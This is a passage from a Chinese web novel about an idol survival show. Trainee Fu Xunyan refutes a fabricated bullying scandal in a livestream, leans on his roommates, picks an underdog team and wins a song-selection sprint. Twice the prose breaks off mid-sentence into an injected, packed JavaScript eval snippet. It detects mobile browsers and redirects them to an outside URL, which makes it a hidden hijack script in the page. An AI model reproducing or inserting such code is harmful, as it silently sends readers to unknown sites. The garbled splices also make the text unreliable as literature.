说实话,他们也不清楚傅寻砚到底是个怎样的人不是吗? 达裴突然的沉默让周围几人看过来,从他眼眸中读出的迟疑也成为心底的一些保留。 是的,他们和傅寻砚接触尚短。 这天底下,即便是家人,也无法保证彼此的人格品行端正,更何况他们这些认识了几天的朋友。并非害怕惹祸上身而想避开傅寻砚,只是…… 基于最理性的考虑,未知真相,他们真的很难评价。 可是现在一切就发生在眼前,他们必须做出抉择——相信,或者不相信。 说来也巧,虽然204宿舍生活和谐,但几人练习时间不同,傅寻砚更是几乎不回宿舍睡觉,据说可以随机在练习室捡到他的“尸体”。 达裴对傅寻砚的好感完全来自于傅寻砚的气场以及自己第一直觉的相互作用。达裴摩挲着手节,那里有一块凸起,好像骨头的错位。 很久之后,他突然哑着嗓子说话,“我——我选择相信他。还记得他初舞台时说过的话吗?如果不是他公司特意嘱托,能说出那样子的话的人,我不相信他会是这样的人。” 尹星蘅舒了口气。 叶莱眸色沉重。 回到B组。 再评级开始,可是没有人上前,气氛一时尴尬。 能怎么办呢?毕竟班里有人出了那样的事——好吧这是借口,事实是,B班偏科的人很多,恰好就是没有能自信上去跳一曲的。 江瀚倒是可以,但他关照着傅寻砚,没心思先去表演。 “既然大家不来,我先了。” 万籁俱寂中,一个人站起身,他默默打开摄像机,然后站在那块板子前理了理衣服。深蓝色的背景板让他的好颜色愈发清晰,像是夜空中明亮的星,带着悲悯和毫不留恋。 即便他打了头阵,但没有人敢感谢他,甚至没有人敢发出一点声音。 死一样的喑哑和令人溺毙的沉寂。 但好在这时音乐开始了。 多么欢快的舞曲,炽热的青春,高飞的梦想,纯洁的花开满了少年们的花园。即便有泥泞,即便有风暴,连作词者眼中的“fight”也不过是向小小的挫折发起进攻号角。 被养在城堡里的王子,最大的危险不过是陪玩的钝枪钝剑,风雨和烈阳,永远只会降临到那些街头衣不蔽体的人头上。 傅寻砚觉得内心依旧空空的,好像在漏风。 但没人看出他的异样,相反他们现在是真的respect了。 怎么会有这样的强者啊,现在全网是他的黑料,热搜第一都维持几小时了,全国人民正在唾骂和讨伐他,然而他呢,不知道就罢了,明明都被节目组约谈了,你看看他现在—— 动作张扬有力,每一处都像尺子量好了似的挑不出任何毛病。表情明媚,平日里颇有些倦怠的脸如今蕴含着某种浅浅笑意,恰到好处,既表达了主旨,又没有破坏人设。 更可怕的是,当他在唱歌和跳舞的时候,坐在地下的任何一个人并不觉得他是在接受一场考验,他自然得就像玩到尽兴时自然跳起舞唱起歌。 一曲毕,B班练习生们懵懵地鼓掌,两秒后才反应过来,立马止住。这一响又一静无疑创造了一种尴尬,但青年依旧没有受到影响,而是回到位置坐定。 江瀚的表演正常发挥,其余人也都顺利完成再评级。 当B班教室门打开的刹那,傅寻砚有些意外地看见了尹星蘅、达裴、旻海和沈迟。在听到傅寻砚主动要求直播澄清后,这些熟悉他的人立刻坚定了判断——他一定是干净的,绝不会如爆料那样不堪。 “走吧,这里不好说话。” 他们搂着他,将他包裹在其中就往宿舍赶,路上经过了站姐们聚集的地方,脚步也没有任何停留。 傅寻砚有点懵,也许是被他们刚刚运动完的臭汗熏晕了,也没有反抗,被像小鸡仔一样护着回去了。 笑死,好几只大母鸡瓜分一只小鸡呢。 回到宿舍,白闻及也已经在了,他只是非常平和地说了声:“回来啦。” 一切如常,却让傅寻砚陡然放松下来,心底空掉的那块依旧空着,但并不漏风了。 江瀚搬了几张椅子来,大家坐在傅寻砚身边看着他。 还没开始说话呢,达裴好像感知到什么,打开了宿舍门。叶莱的手还尴尬地停留在敲门的状态,但他显然已经酝酿许久。 “虽然不知道你和咱老傅有什么交集,但……” 叶莱扭头就要走,谁知被达裴一胳膊拐回来。 “你既然在这,就是信咱老傅的,进来,问问老傅愿不愿意让你待这。” 叶莱顶着其他几人的视线尴尬地靠着墙,“你们说啊,别看我,又不是我的事情。” 傅寻砚没赶他那就是允许他在这了,叶莱不知道为何还有点开心。 在七双眼睛的注视下,傅寻砚开了口:“也没什么,那件事确实是假的。” 一片沉默。 江瀚最先忍不住,开口:“然后呢然后呢?” 傅寻砚莫名,撩起眼皮:“还有什么?” 江瀚还要问,被白闻及一巴掌按住脑袋,有点近视的他推了推眼镜,“那我们就不问了,只要知道你没干那些事就够了。” “啊,原来你们是想知道背后的事情吗?” “没有没有。” “怎么会呢,你不用说,我们不想听。” “只是想确认你是个好人而已……” …… 七嘴八舌的,大家的表情明明就都很心虚。傅寻砚笑了,“背后的事情确实很长,也原谅我,在这一刻,并没有什么分享的想法,所以——如果以后有机会的话。” “不过大概在从我嘴里听到前,你们应该能从别的地方知道。” “所以你已经让公司处理了对吧?”达裴敏锐地抓住了重点。 “对,这件事非同小可,经纪人会处理的。” “他可靠吗?” 江瀚瘪了瘪嘴,摆明了不是很相信李鹏程。但傅寻砚来自七年后,他知道李鹏程有那个能力。他只是个唯利是图的商人,这件事对他有利,他一定会好好做的。 “放心,没有问题。” 众人结结实实松了口气,直到这一刻,大家的冷汗才止住,一个个瘫着靠着没个正形。 叶莱一直抱着手臂没参与讨论,这一刻却皱着眉说话了:“但你这个事情很不寻常吧,肯定是有人买的热搜榜,要不然不该上升那么快。” “而且找你的同学拍摄,这看起来也不是临时起意,你对背后的人有想法吗?” 傅寻砚沉了沉眸色:“大概是节目里的某个练习生,和他的公司,但具体是谁不好说。” 叶莱并不想掺和这件事,因为这些本来就与他无关。但……人有时候确实会控制不住想法和脚步的,叶莱承认。他有些烦躁地挠了挠头,“这段时间大家帮你多观察一下,做了这种事总是会有痕迹的。” “谢了。”虽然不明白从未有过交集的叶莱为什么帮他,不过傅寻砚知道并不应该拒绝好意。 ** 节目内波云诡谲,节目外可就热火朝天了。 地铁上的女孩戳了戳朋友的胳膊,“诶你吃今天的瓜了吗?好家伙这年头这些练习生都这么糊做非为的吗?都能因为霸凌而被学校处分开除了,竟然还敢参加选秀。” 朋友凑过来看了眼手机,视频先是出现了一个青年的脸。高清摄像清楚地拍着他的面容,皮肤的纹理清晰可见,但他状态很好,所以反而让人觉得真是舒服。 “我靠,这么帅!” “你可别三观跟着五官跑。” “当然当然,就是……真的很帅吗,这大长腿这比例,这略带肌肉的身材,绝了真的。” 但几秒后视频的内容就让刚刚还在陷入美色的女孩变得义愤填膺。 视频里出现的是一个个头不高的男人,脸被打了码,然后举着同样部分打码的身份证和毕业证书自证。 “我是《新世纪偶像》参赛选手傅寻砚的高中同学,我要举报他人品不端,在高中时霸凌同班同学,逃课闯祸,被学校开除。我认为这样的人不应当出现在大荧幕上欺骗观众,因此主动检举揭发。” 然后他花了三分钟大致讲了傅寻砚所做的一切,包括但不限于将他打入医院——观众也清楚地看见了那几张医疗单,确实不像作伪。 “天哪,这也太坏了吧,和小混混有什么区别。”朋友捂着嘴感叹,刚刚因为傅寻砚心生的喜爱也全数转化为厌恶。 “是啊是啊,而且高中没读完的话,岂不是只有初中文凭——天哪,素质低人品差,还是赶紧从节目下车吧。” “是啊,好可怜这个被他霸凌的人,看起来是个农村小伙,心理得遭受多大的创伤啊。” 情况愈演愈烈,更糟糕的是其他家的粉丝也开始联合抵制傅寻砚,早在再评级录制开始前,门外就聚集了一群粉丝抗议,要求将傅寻砚踢出比赛,但节目组迟迟未做声明。 于是混乱的声音又开始传谣,他们猜测傅寻砚家世良好,公司塞了钱,所以节目组想要冷处理把他保下来。 ** “傅寻砚!傅寻砚,节目组找你。” 晚间有人找到了宿舍,要带傅寻砚离开,屋子里其他三个人不约而同站起来,一起看着选管,给人的感觉压力贼大。 “不是什么坏事啦,是要让他去单独开直播做澄清的,你们也不必那么紧张吧。”选管年纪也不大,被这么一吓就给招了。 “我们陪你去。”白闻及扯下床上的外套便开始换鞋子,而沈迟虽然一言不发,但坚定地扯着傅寻砚的衣角,摆明了也要一块儿去。 达裴看看这个又看看那个,倏然一笑,用宽阔的臂膀揽住了三个舍友。 “既然这样就都一起去呗。” 执行组组长紧张地擦了擦一头冷汗,他看着那个独自坐在中央的男孩。临时安排的紧张让他们无法提供更好的装束,所以挑了件最简单的衬衫——是预备几日后用作MV拍摄的衬衫。 虽然穿着简单,但傅寻砚挽着袖口,白衬衫勾勒出他的好身材,真是清风霁月、芝兰玉树,怎么也和网上爆料的小混混沾不了边。 但互联网时代, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129118|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们不会仅凭一张好脸而对傅寻砚格外优待,反而黑粉攻击强烈。 执行组组长看了眼直播间,消息才放出去10分钟,竟然已经有12万人进来直播间了,比他们节目的热度还高。 已经知道了内情的执行组组长感叹,要是这次傅寻砚处理的好,不仅他自己能逆风翻盘,恐怕也会成为节目组的紫微星。 等他眼光一扫,见到傅寻砚的那几个舍友,心中微微一笑——不说别的,能在这样的危难时刻力挺傅寻砚,这群青年的友谊倒是比他想象的坚固。 六点一到,直播间准时开启。 柳雨捏着手机,目光紧张地看着屏幕出现一瞬间的黑暗,然后便是无尽的光明。 那是一张青年的脸。 与她想象的不同,没有受到攻讦的紧张,没有初次独自面对摄像机的害怕,似乎更没有因为被指证霸凌的恐慌,底下的弹幕飞快滑动着,全是对傅寻砚的谩骂,不到两分钟已经有好几个因为违反管理规定被平台禁言了,可见用词之冷酷。 可傅寻砚就像看不到。 青年的眸色在聚光灯的照耀下变成了浅淡的褐色,他凌厉的下颌线在微卷的发衬托下愈发如尖刀,要劈开这黑暗。 “当下互联网时代的发展是如此迅速。” 坐在那的青年开口了,但任何一个人都没想到他会从这谈起。节目组爆发出一小阵骚动,为了更真情实感,他们没有给傅寻砚提供稿子,只是让他自己按想法说。 可再怎么着,也不是这么理智地从互联网谈起啊…… “而我从这场互联网暴行中领略到的是,人类永远不会从教训中学到任何教训。” “天哪。”柳雨的手机差点都摔了,她以为傅寻砚至少,至少会很真诚地讲话,会因为被冤枉而有些落寞,但她没想到…… 青年的眼光如此锐利,他紧盯着摄像头,所有看着直播的人都能感受到那种凛冽,就像灵魂被他看穿后遭受了一场诘问。 “我从来不知道,一个骗子能骗取这么多同情,我也不知道原来这个时代,给别人倒脏水只需要简单地掏出身份证。” 说到这,傅寻砚竟轻蔑一笑,薄唇微微勾起,拉动他紧致的皮肤,眉毛轻挑,让眉眼间反而多了舒缓,整张如春风般和谐的脸却让人觉得潜藏着狂风暴雨。 “网络判官们,这么喜欢断案的话,我这里可以提供另一件。”傅寻砚换了个姿势,他交叉着手俯身向前。 “林广峰,我真的没想到你竟然还会做这样的事。让我猜猜,又是去赌了对吧,没钱了,有人说可以给你一笔,你就立刻贪婪地接下了生意来编故事污蔑我?” “那你是怎么敢的呢?你身上背负的人命你忘了吗?是啊,法律说你们未成年所以要给你们机会,可谁给那个老人机会了呢?被你们用几颗小小的摔炮弄死在冬夜里的老人,你们午夜梦回的时候,不会感到恐惧吗?” 傅寻砚几乎抑制不住愤怒,他本以为自己可以的。 但指甲陷进肉里,灵魂带动着身体在抽搐,他只能尽力咬着牙关,逼迫自己放松下来。 于是眼中的怒火更甚。 柳雨惊骇得连猫经过打翻了水都没能顾忌,而屏幕前的很多观众也如她一样被吓到痴呆,连弹幕都忘发了。 “我没做过的事情我永远不可能认,这位我的亲爱的好同学林广峰的揭发全是无稽之谈。多的我并不想在这里谈及,但第一,他说的都是假的,甚至不如说恰恰相反。” “第二。”谈到这里,傅寻砚似乎又冷静了下来,刚刚还热血的战士仿佛看见了满目疮痍,尽管他的表情没有多少变化,但人们真切地透过镜头感受到了。 “我确实在高中时被开除,因为我认为那个送去少管所的惩罚完全不够,所以在林广峰他们来道歉时将他们打进了医院。很遗憾,学校,或者说林广峰他大姨的学校,认为我败坏风纪,所以将我开除了。” “打人不对我承认,但我相信大家。”傅寻砚又嗤笑一声,“应该也能理解吧,毕竟我当时也年少呢,冲动而已。他们能因为所谓的一时贪玩害死了人,我不过因为失去家人的气愤让他们骨折了一下而已,医药费我事后赔了不是吗?用两个月天天去工地打工的钱赔偿了不是吗?” 靠!虽然傅寻砚没说的太明白,可大致意思大家又不是傻瓜都听懂了,柳雨瞬间就泪崩了。 因为同情,因为傅寻砚现在忍着一切在讲述,因为他倔强高昂着的头颅也许一如当年困顿的时候,不曾低下,即便那么多情况有意无意地与他敌对,少年的脊骨也依旧直着。 “我已经起诉了,不能以杀人,只能以诽谤。”傅寻砚终于低垂下眉眼,什么东西飞快掉落了,再抬头时,他微红的双眸里没有怯意,甚至伤心也被压下。 “另外,致广大关心我学业的网友——我即将获取高中文凭,离开村子后我打了一年工,攒够了学费就想办法重新去考了高中,也感谢白校长的信任和帮助愿意给我这个机会。月前以20高龄决定参与高考,尽管迟了两年,但是……” 镜头前的青年笑了,这次没了讽刺,没了尖锐,只是单纯的,怀抱着对未来的期望。 “我的努力让我看见了新的希望,对此我感到慰藉。” “感到这个傻逼”最后两个字傅寻砚自动消音,可所有人都读懂了。 “感到这个傻逼的世界,还是有所值得期待的。” 说完他站起,平静鞠了一躬,然后毫不留恋转身便走。 大家在直播间的边缘,看见三双手揽住了他,将他牢牢抱在怀里。而且其中有人的抽泣声格外明显。 不过不说他,直播间虽然沉默,但观众还是听到工作人员中有些也哭了。 而在网络上,瞬间热搜的前十在一秒内尽数切换,每一条都与这次澄清相关。 9. 第九日 [甜酒一杯:#傅寻砚澄清天哪天哪我们内娱真的要有活人了吗?小小练习生真的好刚啊doge] [爱上我你怕了吗:#傅寻砚澄清呜呜呜呜救命,虽然还没搞清楚前后,但就他说的这部分我就好想哭] [我女儿是叶子:#傅寻砚澄清挠头,srds我真的有点没听懂,有人能翻译一下吗?到底啥事啊?] 吃瓜博主响应需求立刻上线,蹭着这波东亚霸凌事件的热度,借着傅寻砚事件彻底点燃网络。 “就让吃瓜小雷为大家梳理一下全过程。” “昨日下午臭名昭著的狗仔膨膨冰上传了一则视频,意在揭露小糊选秀《新世纪偶像》练习生傅寻砚的黑料。” “上传的视频里有傅寻砚曾经的高中同学跳出来,证明其在校园里打架斗殴,还搞霸凌,最后被高中开除,以至于高中都未毕业。” “此事件在昨日傍晚登上热搜一位,今天上午发酵了一天,热度迟迟不下。” “不过这个小糊综,还有傅寻砚倒还是挺敢的,竟然直接开直播澄清。说来傅寻砚的澄清确实令人动容(附上链接),根据我的解读,大概可以接收到几个信息。” “第一,关于霸凌。完全子虚乌有,反而是举报人霸凌傅寻砚,鉴于此次事件闹得这么大,傅寻砚直言已经提起诉讼。而且在此注意,他提起的是刑事诉讼,诽谤罪是我国的亲告罪,也即受害者亲自提起的刑事诉讼。” “这可不同于那些明星故弄玄虚的名誉权民事诉讼,刑事诉讼可是要判罪坐牢的,审查也会严格很多,那可是公安警察介入侦查,完全和民事不是一个量级。鉴于傅寻砚这个举动,我本人倾向于相信他的说法。” “第二,也是我有点动容的地方。不知道各位注意到傅寻砚提及的其他事情没有。说实话他虽然有所顾虑没有掰开讲,但细想,真的很为他心酸。” “据他的说法,他应该是孤儿,被一个老人收养了,家庭条件听起来非常差。而举报他的那个林广峰,在未成年时伙同其他人恶作剧,利用摔炮什么的,让老人摔死在了冬夜。傅寻砚说没有判罪,那么根据我国刑法,林广峰应该够不到故意杀人,我猜当时应该是过失致人死亡之类的,甚至……如果偏袒未成年罪犯一点的话,直接会被定性为意外。” “不是不能理解,如果有人在你十米外放个烟花之类,你被吓到摔进泥坑,可能也只能算是意外——当然咱不知道当时具体什么情况,先相信司法的判断做积极猜测。” “但不可否认的是,根据傅寻砚的说法,林广峰他们当时肯定是有恶意地去做这个事情的。” “傅寻砚应该非常愤怒,所以找林广峰打架了,而他所在的高中是林广峰家亲戚当的校长,所以傅寻砚被开除了。” “然后——确实能看出收养傅寻砚的老人也很穷,傅寻砚也应该没从这件事得到什么赔偿,所以他必须打工一年才能赚足高中学费。” “好在世界上还是有好人的,傅寻砚重返校园,而且有打算继续念书……真的很励志了。” “解读就到这里。”戴着头套的人克制着,但还是声音有些嗡里嗡气,似乎哭了,“真相未明,但我很赞同傅寻砚的一个观点,在看到任何一方甩出证据前,各位网民朋友,请切勿做网络判官,不要掀起舆论战争或网络暴力。” “傅寻砚的例子已经在这了,如果他说的都是真的,我很难想象刚刚这一天他是怎么过来的。” 博主没忍住,还是偷偷抽了张纸巾塞进头套:“总之,我们还是静待警方调查为好。” 【我的妈呀,这个瓜吃的人有点心酸酸】 【我真的——我就是昨天骂傅寻砚的人里的一个,现在真的好难受】 【大家也不要先说什么了,连傅寻砚自己也说了不是吗?不要网暴,还是蹲调查结果】 【完全静不下来,靠,一想到如果那个林广峰真的是傅寻砚说的那样,他真的该死啊】 【呜呜呜是啊,想想收养傅寻砚的人该多么善良,结果就这么死在冬夜呜呜泪流成河了】 指针已经不知不觉划去了十一点,但柳雨不知疲倦地点进每一个关于傅寻砚视频。视频里的青年试图保持平静,但高清摄像记录下的影响被人一帧帧分析后,人们看见了他被掐红的掌心,某些时刻颤抖的嘴巴,还有那坠落的一颗眼泪。 好可怜…… 柳雨愤怒了,她切换进建立了没几天的后援会,一众姐妹现在正在群里疯了一样地哭,有人的语音里哭的上气不接下气。 “大家,我们要相信他,并且,如果马上一切能真相大白,我们必须振作起来,从现在开始,我们就是他最坚强的后盾了,我们必须处理好后续一切问题。” ** 比起外边狂风骤雨,节目组里却突然一切风平浪静起来。在傅寻砚开直播前,节目组忽然强硬地收走了所有练习生藏起来的手机。 所以这些练习生甚至不知道傅寻砚去做了澄清,只以为他被节目组叫去训了,甚至商量退赛事宜。 而收手机也不过是节目组为了杜绝练习生受影响所以做出的暂时性管制。 有人为傅寻砚可惜,也有人为他担忧,更有人隐隐窃喜。 那样强烈的情绪波动后,傅寻砚是有些累的,可是他没有办法回去休息,只能由达裴几人揽着肩膀走去录播间。 因为接下来要先拍摄一公选人的部分。 “你还好吧。”沈迟的眼里充满了担忧,他将焐热了的矿泉水递给嘴唇干涸的傅寻砚,颤抖着抓住他的胳膊。 “抱歉,我们非要跟着过去……”想到先前傅寻砚回避他们询问,沈迟为刚刚知道了傅寻砚的秘密而感到非常抱歉。 他看了看这个只比自己大三岁的青年,头垂得更低,露出一截小麦色的脖颈。 傅寻砚早就整理好心情,看着周围达裴和白闻及一个比一个更不自在的动作,他微微一笑,正好把郁气吐露了个干净。 “干什么呢。”傅寻砚拍了他的肩膀一下,沈迟明亮的眼睛抬起,闪动着光。 “我只是没想好怎么说,觉得有点尴尬,但本来并不是耻于向你们讲述内容。” “你们也不要这么……”傅寻砚找了找词,“不要把我看得好像是玻璃一样,那件事过去很久了,我比你们想的要更坚强。” “我知道,只有过得更好而不是沉溺在仇恨中,爷爷才会开心。” 知道归知道,但你……达裴暗暗啧了一下,没有出声。 “走吧,别耽搁太久。” 四人安静归了队,但直到摄像机开启,仍有大量练习生在偷偷打量傅寻砚。 姜苏林站在舞台中央,十分有素养地cue着节目流程。 “初舞台A级的练习生们,恭喜你们获得选曲奖励,现在我的手中有放置了你们名字的抽签器,我抽到的第一个A班选手,将获得第一个挑选队友的资格。” “什么嘛。”与叶莱同公司的周恒宇率先嘀咕出声,“这根本不是给A班所有人的福利,只有一个人能幸运地获得嘛,害我白高兴了一下。” 确实。叶莱也是这样想的,初舞台A级可是有12个人,十二分之一的概率还是太低,大概不能指望在其中获得什么优势。 果不其然,姜苏林抽签后展示了名字,不是叶莱也不是周恒宇,而是和周恒宇交好的一个练习生。 对方上台后当即兴高采烈地把周恒宇以及另一个A班朋友叫上去,队伍顷刻变成了三人。但他大概从没对这个情况有过预料,因此对接下来的人选有些迷茫。 “A班我觉得不能再选了,全都聚在我们这会没意思的吧。”另一个人开口,但实际上是为了三人抱团,不再希望有A组的人进来抢镜头。 “我赞成。”周恒宇点头。 “那B班,B班实力好的人的话——江瀚和傅寻砚……啊”那人数着人头,忽然意识到自己似乎提了一个不该提的人。 傅寻砚现在风评那样,把他叫进来不是找死吗?而且万一他真的退赛,对队伍可是重大打击。 “啧,当然不行,我们队伍可是要做绝对正直的队伍啊。” 大概没想到周恒宇会直白地说出来,一时间另两人尴尬到不行。而周恒宇的声音虽然不高,但至少导播和附近的练习生都听见了。 姜苏林的笑意凝滞了一下,随即催促:“请邵若舟一组尽快决定人选。” 语气听起来不太温柔。 周恒宇完全没意识到自己的问题,在他看来,傅寻砚毫无疑问就是爆料中形容的那种人,他居然还有脸站在这参加之后的录制,真是不要脸。 既然他自己不尴尬,那就让他周恒宇来添添堵咯。 邵若舟之后,姜苏林便要从更大的池子里抽队长,随着身边的人一个个离开,傅寻砚倒没有什么特别感觉。 剩到最后,便只有他一个B班的人和零星几个C班D班,以及大量F班的人了。 不过,好在否极泰来,姜苏林竟在这时候抽中了傅寻砚,当对上目光的时候,傅寻砚感知到了姜苏林的鼓励。 这位大了十多岁的前辈将他叫到身边,在选人前还单独提问了他。 “轮到咱们小傅了,怎么样,被我抽到有没有特别幸运的感觉?” 傅寻砚眨了眨眼,“或许您再提前几位抽到我,我还会高兴一下,现在抽到我的话,面对那么多人,选哪个都会让剩下的伤心的吧。” “哇哦,没想到小傅还是个多情的人呢。”姜苏林没想到傅寻砚还挺会开玩笑,配合着他做了个效果。 “言归正传,就算舍不得大家伤心,你也得挑人哦。” 101人一共将被分成十二支队伍,两两PK,也就是六首歌。傅寻砚挑人的位置在十二组的倒数第四组,这意味着剩下能给他挑的人真的不多。 再次扫了一眼远处的歌板,又扫了一眼剩下的练习生。 “我的选择是:白镇,彭思源,蒋安,段琪琪,顾峰。” 傅寻砚所有的优势是,尽管他对这里的记忆已经变得单薄,但当看见这些人的脸时,他依旧会想起关于他们的片段。 面对大量F级选手剩余的场面,他并没有再从目前的实力出发挑人,而是着重选择了不作妖、肯练习、听安排的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129119|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以至于当大家发现他一个C班D班都没选,全都挑了F级的情况下,震惊得不能自已。 “为什么?他疯了吗?” 连被选择的几人都有些不可置信,他们很清楚自己的实力本来该被留到最后,所以当傅寻砚选择他们时,一方面顾虑着傅寻砚身上的事情,另一方面却还是因为受到肯定而开心。 “小傅很敢选择呢,竟然都挑了F班,能问问为什么吗?” 傅寻砚看向姜苏林,虽然不明白对方为什么这么关照他,还是举起话筒回答道:“大家其实都有自己的闪光点,我选择他们,是因为我觉得他们身上有符合我即将选择的歌曲的气质。” “哦?这么说,你连歌都已经看好了吗?” “对。” “可是这要抢的,你很有信心啊。” 傅寻砚神秘一笑:“确实,我想要的,我会努力拿到。” 等站到台上后迎来了每一位队友,傅寻砚故意对他们的小心翼翼视而不见,主动挨个拍了拍肩膀,随后便悠然放松地站着,与他第一天来时一模一样的懒散平静。 站在他身后的是白镇,虽然个子不太高,但白镇有一张格外帅气的脸,他倒是没有那么介意傅寻砚的绯闻,凑在脖子后便轻声问:“傅寻砚,你为什么选我呀。” 傅寻砚撩了撩眼皮:“你颜值合格。” “啊?”白镇没想到这个看起来一直很大魔王一样的人会这么抛直球,脸都红了,“我、我没有啊。” “相信我的眼光。”傅寻砚不希望自己的队伍里不战先败,“我会选择《风啊,又是一夜雨》,你们同意这首歌吗?” 没想到傅寻砚还会问他们的意见,几个小伙一下子有点愣,他们本就是冷门选手,习惯了被忽视。 “呃,你决定就好,不过我们真的实力不太行,所以……” “这首歌本来是纯vocal,所以即便编了舞蹈,也不会太难。我知道大家舞蹈上有困难,所以我们尽量在一公扬长避短,一周的时间可能练不好舞,但一共这么几句词,大家怎么说也得发挥到最佳水平。” “歌我听过,基本按照各个声部选的你们,当然,如果到时候你们不喜欢part,可以再调整,现在我只是希望听听你们对这首歌的意见,愿不愿意表演它。” 傅寻砚的话很真诚,而且这样“私人定制”的关照感让一众遭受了好几天打击的F人心底暖暖。 “我们没有意见的,听傅哥你安排。” 傅寻砚点头,没有把他真正准备的“杀手锏”告诉几人。 上辈子,《新世纪偶像》的一公曲目出圈数为0,因为当前节目组只请得起比较便宜的编曲师,对方能力不济,将所有歌都改编的一塌糊涂。 但《风啊,又是一夜雨》是傅寻砚看来一首有很大空间的歌曲,而且对手组的人也比较好说话,他完全可以向节目组提出免费为他们改编,另一组甚至不用出力气就能得到一首更好听的表演曲目。 解决了曲子的问题,傅寻砚选这几个人还有另一理由——他们的外形条件是过关的。这其中以白镇和彭思源最为突出,蒋安、段琪琪和顾峰三人脸上有些小瑕疵,但能通过妆发遮掩。 相对安静的曲目,配上完全符合氛围的造型与帅气的面孔,虽然抒情歌在比赛时不占优势,但傅寻砚会尽力将其转化为一种全新的可能。 “真遗憾,我们不能一队,这可是一公诶,是一切的起点。”江瀚从旁边的队伍伸出手来揽住傅寻砚的肩膀,圆圆的脸上满是遗憾。 前排的队长无语:“喂要不要那么大声,你这样嫌弃我而偏向小傅的话,我会很伤心馁。” 他讲话有些机车,是来自对岸的同胞,但人很善良,和江瀚关系也很不错,所以江瀚才敢这么在他面前说话。 江瀚吐了吐舌头,还没来得及再看看傅寻砚,身旁就落下好几道影子。 “你们怎么过来了?”傅寻砚有些不解,看着面前的尹星蘅、沈迟和达裴聚拢过来。 尹星蘅抿了抿唇,原本装得若无其事的表情还是没能绷住,最后化为一声叹气:“二公,二公我们一定要在一起。” 旁边的达裴和沈迟也显然是这个意思。 傅寻砚失笑:“这可由不得你们,说不定到时候我会有更好的队友选择哦。” 尹星蘅立刻给了他一拳,笑得肆意张扬,“给你脸了,还挑起来了。” 毫无芥蒂,旁边躲着傅寻砚的练习生大为震惊。 短暂的休息过后,便是选歌环节。傅寻砚的队伍将权利全部交给傅寻砚,表达了充分的信任。 “傅哥你加油,我们的命在你手里了!”段琪琪泪光点点,“哪怕选不到《风啊》,请千万避开《Hold》和《热血战歌》,那个舞蹈,哪怕练到死我也不行的!” 傅寻砚失笑,接过他伸来的手握了一下,眼尾轻挑:“接下来让你们见识一下短跑冠军的实力。” 身边另一队的练习生嗤笑一声不以为然,这个傅寻砚怎么那么自大啊,还没开始比赛就这么说话,等会输了一定超难看吧? 想到这里,他脑子突然有了个主意。 10. 第十日 选歌是六组六组进行的,按照最常规的跑步抢牌子的方式算,不过节目组很公平,不是在每个人的跑道尽头放固定的歌,而是放了白板。 也就是说按照跑回来的顺序挑选心仪歌曲。 傅寻砚被安排在第一组。他站在原地做着热身准备,动作到位,看起来确实有些唬人。刚刚站在他旁边嗤笑的练习生蓝翼周依旧在他左边,再过去一个则是达裴。 谁都没想到达裴那组会派他出来,毕竟这个达裴挺疯的,是那种跑着跑着有可能被别人的姿势笑到而捂肚子蹲下的人。 达裴龇着牙朝傅寻砚笑,张了张嘴默声道:“一会我可不会让你。” 小瞧我?傅寻砚眯了眯眼,蹲下身。 “好,准备。”姜苏林举着话筒,眼神扫视一圈,最后落到傅寻砚身上。 “跑!” 旁边观战的人全部踮起脚来,呜哇乱喊。 “加油加油!二虎fighting!” “蓝翼周蓝翼周!快跑啊我不想rap!” “我去!” “什么东西就刮过去了???” 是的,什么东西刮过去了?姜苏林罕见地露出懵逼的表情,手上的词卡都掉了——傅寻砚这深藏不漏也太深藏了吧?他这速度都能去奥运了吧? 瞬间爆发力真的绝啊,就那一秒,他都领先别人一个多身位了,继续往后差距就越来越大。等他摘得牌子的时候,其他人才刚刚跑到一半。 “妈妈呀!傅哥你也太帅了!你就是飞毛腿!” 压倒性的实力让这群热血的青年一时间忘了对傅寻砚的猜忌,纷纷晃着手加油。 他怎么这么快,蓝翼周心里一个咯噔,可是人的想法也是有惯性的,即便情况不同,蓝翼周的脑子还是不自觉执行了早就想好的小招。 他装作腿软微微偏离了自己的轨道,恰好在傅寻砚快过来时横亘在他面前,眼瞅着就要撞一块去。 傅寻砚收不了速度,眼神一凛,正打算想办法俯身掠过,但眼前猛烈的撞击却早一步发生了。 达裴几乎是同时从旁边倒过来,他也是拉满了劲头,于是反而将蓝翼周猛力冲撞出去,使他一个踉跄直接冲出了所有赛道。 达裴自己只是一个趔趄,等调整好步伐,他依旧像条追人的疯狗一样朝终点而去,期间还有空吼一声。 “抱歉啊抱歉,冲猛了呀。” 等回到终点,傅寻砚甚至只是微喘——严格来说,他本来都不用喘,一切都因为蓝翼周的突然举动害他乱了节奏。 “他怎么回事啊?你没关系吧?”背后的白镇和顾峰等人围拢过来,低声询问着傅寻砚情况,傅寻砚只是摇了摇头。 蓝翼周是故意的,但他不能直接在节目上指出来。 因为达裴的插手,蓝翼周直接拿了个倒数第一,脸臭的要死,而他的队友也搞不懂他刚刚在干嘛,一时间都像狐獴似的茫然吃瓜。 在这个圈子里,竞争无处不在,像这样的小手段并不怎么少见,可把自己搞到最后一名的做法实在愚蠢。 而蓝翼周坚持说自己是紧张所以腿抽筋,那么大家也不能拆穿他。 姜苏林淡淡地瞥了他一眼,笑着对剩下的练习生提醒:“大家竞赛归竞赛,一定要注意安全。” 